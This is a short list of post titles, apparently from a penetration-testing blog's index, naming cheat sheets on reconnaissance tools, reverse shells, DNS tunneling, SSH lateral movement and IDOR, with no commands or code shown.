cheat-sheet Subfinder Cheat Sheet

cheat-sheet Naabu Cheat Sheet: Commands & Examples

cheat-sheet Reverse Shell Cheat Sheet: PHP, Python, Powershell, Bash, NC,
JSP, Java, Perl

Web App Insecure Direct Object Reference (IDOR): Definition, Examples &
Security How to Find

cheat-sheet Nmap Cheat Sheet: Commands & Examples (2023)

SecOps Encrypted Notes App Solution (iOS, Android, MacOS, Linux,

Windows)

cheat-sheet DNS Tunneling dnscat2 Cheat Sheet

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Category Post Name

cheat-sheet SSH Lateral Movement Cheat Sheet

cheat-sheet Android Pen Testing Environment Setup

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